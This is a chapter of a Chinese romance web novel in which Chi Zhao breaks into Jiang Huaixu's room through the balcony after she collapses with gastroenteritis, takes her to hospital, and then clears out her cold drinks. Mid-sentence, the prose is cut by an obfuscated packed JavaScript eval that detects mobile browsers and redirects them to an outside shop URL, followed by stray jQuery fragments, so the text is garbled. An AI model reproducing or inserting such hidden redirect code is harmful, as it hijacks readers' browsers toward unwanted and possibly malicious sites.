第二天早上,按说早就应该起床吃饭的江怀序迟迟没有下楼。
池昭看着已经凉掉的咸蛋黄烧麦和虾仁蔬菜粥,又看了眼手机上的时间,上了二楼。
池昭站在她的房间面前,那双手刚刚举起,犹豫了一下还是放下。
昨天晚上两人到家已经快10点了,江怀序怕肉松不开心,陪肉松玩了好一会才回房间。
而且她昨天又有些兴奋,熬个夜也很正常吧。
之前他在警局的时候,队里的年轻人都爱熬夜,像江怀序这样早睡着起的好宝宝反而是个例。
他自己说服了自己,折返回院子,把早饭放进烤箱里,给江怀序发了条微信。
【早餐放在烤箱里,起床记得吃。】
不过不知道是不是早上没看见江怀序,池昭到了修车厂依旧有些心神不宁。
池昭躺在地上,上半身钻进车底,打着手电筒检查一辆车的车底情况。
平常得心应手的工作今天怎么也做不顺,他从车底钻出来,再一次打开一个上午不知道看了多少次的手机。
手机上除了几个群仍在活跃,还是没有她发来的信息。
江怀序平常不常看手机,但起床吃早饭时会统一回消息和邮件,可现在已经9点了,她还是没有起床吗。
池昭看着被顶到最上面的几个大学同学建的群,跟仍在分享昨天晚上池昭说话有多温柔多王阳说了声“滚蛋”,然后将手机铃声调到最大,又回到修理区。
10:30,手机还是静悄悄的。
池昭终于是有些坐不住了,给江怀序打了个电话,电话响了很久,却一直没有人接。
他的心头涌现出一整慌乱,察觉到事情有些不对劲,拿着手机就往民宿跑。
院子里空荡荡的,两只狗不知道跑到哪里去了,池昭一边拨电话,一边往二楼跑。
肉松和兜兜一左一右地蹲在门口,看见池昭来了,猛地站起来扑到他身上。
他又拿出手机给江怀序打了个电话。
手机铃声从房间里响起,但仍是没有人回应,他的心头逐渐被恐惧淹没。
“江怀序!江怀序!”池昭把门敲的砰砰响,里面还是一点动静没有。
房间的隔音效果很好,他自己失眠严重,所以装修时所有房间里都装了隔音棉,现在里面有什么细微的声音外面根本听不见,他继续加大力度敲门。
突然之间,他听见房间里传来“咚”的一声,就再没有声音了。
他心里一紧,眉头快拧成死结,但门是锁着的,他也没有多余的钥匙。
池昭不再犹豫,直接下楼。
江怀序的房间在二楼,外面还有个向外凸起的阳台,他用手抓着砖石外壁的缝隙,没费什么力就爬到了二楼的阳台上。
他站在阳台上,阳台的窗帘被拉起来了,看不见屋子里的情况,他又用手叩了叩阳台的门。
“江怀序?”
里面仍是没有声音。
他心一横,拉开了门。
房间里江怀序半跪在床边,埋在床上的小脸抬起来呆呆地看着他,汗水打湿了她的额发,湿哒哒的黏在额头上,她脸色苍白,嘴唇看起来更是一点血色都没有。
池昭瞳孔震颤,快步走过来,跪在她旁边,扶住江怀序的肩膀,将她整个身子环抱住:“怎么了?”
“胃痛。”江怀序的头靠在池昭的肩上,虚弱地只能发出气音,声音小小的,凑在他耳边,呼出气息都没什么温度。
池昭心里难受得厉害,摸了摸江怀序的额头,烫得有些灼人。
他赶紧将怀里的江怀序抱起来,小心地放在床上,从衣柜里给她拿了一件宽大又保暖的风衣将她裹住.
拜良好的观察力所赐,他进门就看见了桌子上放着药和边上的矿泉水,他抓起药包放进口袋抱着江怀序上了车。
===
入门是一片纯白。
江怀序嗅到周身刺鼻的消毒水味,终于才彻底醒过来。
她看了看自己躺着的升降床和旁边的吊瓶,才发现自己在医院,她迷迷瞪瞪地看着坐在病床旁的池昭,小声地喊了一下他的名字。
池昭看过来,脸冷地吓人,动作却轻柔,他抬手探了探她的额头,按响了床头的呼叫铃。
自始至终一句话都没说。
医生很快就赶过来,翻看眼前的病例:“小姑娘,你有习惯性肠胃炎知道吗?”
江怀序下意识看了眼站在一边神色不太明朗的池昭,心虚地点了点头。
“你既然知道,就要按时吃饭,规律饮食,很多重口味的东西也要少吃,南城菜就更不能吃了知道吗。”
“还有,药不能乱吃,你要看说明书的......”
医生一条一条地说着,池昭在旁边听得认真,还时不时询问些什么,只是始终皱着眉头,脸上阴沉地厉害。
江怀序抿了抿唇,其实昨天半夜她就被胃痛疼醒了。
腹部那股熟悉的、强烈的抽痛提醒着她应该是老毛病肠胃炎犯了。
她从高中开始就一直有个坏习惯,不把手上的东西做完就想不起吃饭,所以胃一直不是很好,但她也没太当回事。
直到一次半夜吃宵夜直接肠胃炎住院后,江怀序被父母勒令回家调养身体,清淡饮食了三个月胃才好了些,没想到今天晚上又犯了。
她想了想自己超额吃下的三大碗米饭和那一桌子油汪汪的辣菜,觉得这犯的确实也不亏。
她撑着身体走到桌子前,从医药包翻出了一袋胃药。
房间里没有热水,她也懒得烧,就着手边的一瓶矿泉水把药吃了。
按照之前的经验,吃完睡一觉应该就没事了,她忍着痛,迷迷糊糊地在后半夜入睡。
黑夜中,却没有看见药包上一行小字:忌凉水服用。
今天早上,她在梦中听见了手机铃声和池昭在外面敲门的声音,她想应和他一声,但却怎么也发不出什么声音。
手机也被她放在书桌前充电,离得很远,她想爬到书桌边去拿,但身体没有力气,直接从床上摔了下去。
她想缓一缓再站起来,接着她就看见池昭像个超人一样从窗户外翻了进来。
再之后就是现在。
医生走后,江怀序就一直站在病床前,双手抱胸,脸色阴沉地看着她。
江怀序吞了口口水,缩着脖子,小声说:“对不起。”
池昭没有说话。
呜,好凶。
比第一次看见还凶。
他抱臂站在旁边,显得胸前的肌肉更鼓了,手臂上的青筋也涨得明显,血管一鼓一鼓的。
她有些走神地想,这种血管应该很适合打针吧。
池昭看着眼前脸上苍白的小姑娘,叹了口气,今天一天,他觉得把这辈子的气都快叹完了。
他上前帮江怀序掖了掖因为坐起来而稍微滑落的被子,拉过一边的椅子坐下。
正常大小的椅子,在他坐下后显得格外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562682|142788||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
袖珍,他那一双大长腿无处安放,只能微微蜷缩着,显得有些局促。
“你没有对不起我。”池昭垂着头,平常梳上去的头发,因为一上午忙上忙下,稍显凌乱,和主人一样垂头丧气的耷拉在额头上。
“我只是.......”池昭张开嘴,又不知道该怎么说,显得有些语无伦次。
“你昨天晚上就痛了,对不对。”他问。
“医生说你昨天晚上吃了胃药,只是混着凉水喝的,又刺激了肠胃。”
“你可以跟我说的,你可以给我打电话。”池昭显得有些焦躁,坐在座椅上,像只困兽,双手捂住脸,用力地搓了搓。
“我不会觉得麻烦的。”又过了半晌,他才吐出这一句。
江怀序看着眼前焦虑地有些过分的男人,回过味来,迟疑地开口:“你是觉得,没有照顾好我,所以有些自责?”
池昭犹疑了一会,认命地点了点头。
她会不会觉得他控制欲强,很可怕?
如果她想要搬出去的话,应该住在哪里呢?
陈奶奶家好像还有空房间,他会把它打扫好的,如果她想走的话。
池昭垂下了眼睛,不敢看她。
江怀序试探着把手放在他头上,撸了两把,像是安抚肉松和兜兜那样。
她还是不太明白,池昭为什么会对她有这么强的责任感。
两人在外面吃了饭,再怎么怪,肠胃炎也怪不到池昭头上,只能怪她自己一时间忘记了自己有习惯性肠胃炎,没了顾及放肆地大吃。
怎么看都是自己的问题呀,他为什么要自责呢?
“你把我照顾的很好。”池昭的头发看着粗硬,但摸起来倒是软乎乎的,她趁机又撸了两把。
“你看我都胖了呢。”江怀序掐了掐自己的脸,本来有些清瘦显得格外出尘的脸颊,短短一个月就长了些肉,看起来圆乎了不少。
前段时间江怀序给家里打视频电话,连一向心疼的女儿在外地的父母都不得不承认女儿确实胖了些,气色看起来也好了不少,红润润的。
看着始终低着头的池昭,江怀序捧起他的脸,注视着他的眼睛:“是我一时间没有注意,不是你的错。”
哇,他的睫毛也好长,比女孩子还漂亮。
“那你之后遇到事情要和我说,什么事情都可以。”池昭的脸上升起来一阵热气,但好在皮肤黑,看不出来。
江怀序摸着觉得有些烫手。
他身体果然很好,皮肤都烫烫的,江怀序想。
不过好在没什么大问题,吊完水江怀序就被医生放回家了。
回家后,池昭第一步直奔厨房,江怀序不解地跟着上去,发现他将家里所有辛辣生冷的东西都收拾了出来。
她见他手机上点了几下,还没反应过来,只是没过多久,王满就带着一个大袋子过来,他笑得喜滋滋地跟江怀序打招呼,接着顺走了家里所有的“违禁品”。
江怀序看着空空如也的冷饮柜和放雪糕的冷藏柜,眼里的不舍快要从嘴角留下来了:“饮料其实可以留两瓶的吧......?”
池昭不怎么爱吃这些,最多偶尔喝点功能饮料,这些都是她辛辛苦苦在小卖部找到的冷饮top榜,一时间全部被收走,她觉得心有些痛痛的,和昨天晚上胃痛一样痛。
池昭没有看她,只是面无表情地冲着王满点了点头:“全都带走”。
王满表面痛惜地拍了拍小江老师的肩膀,然后龇着大牙走了。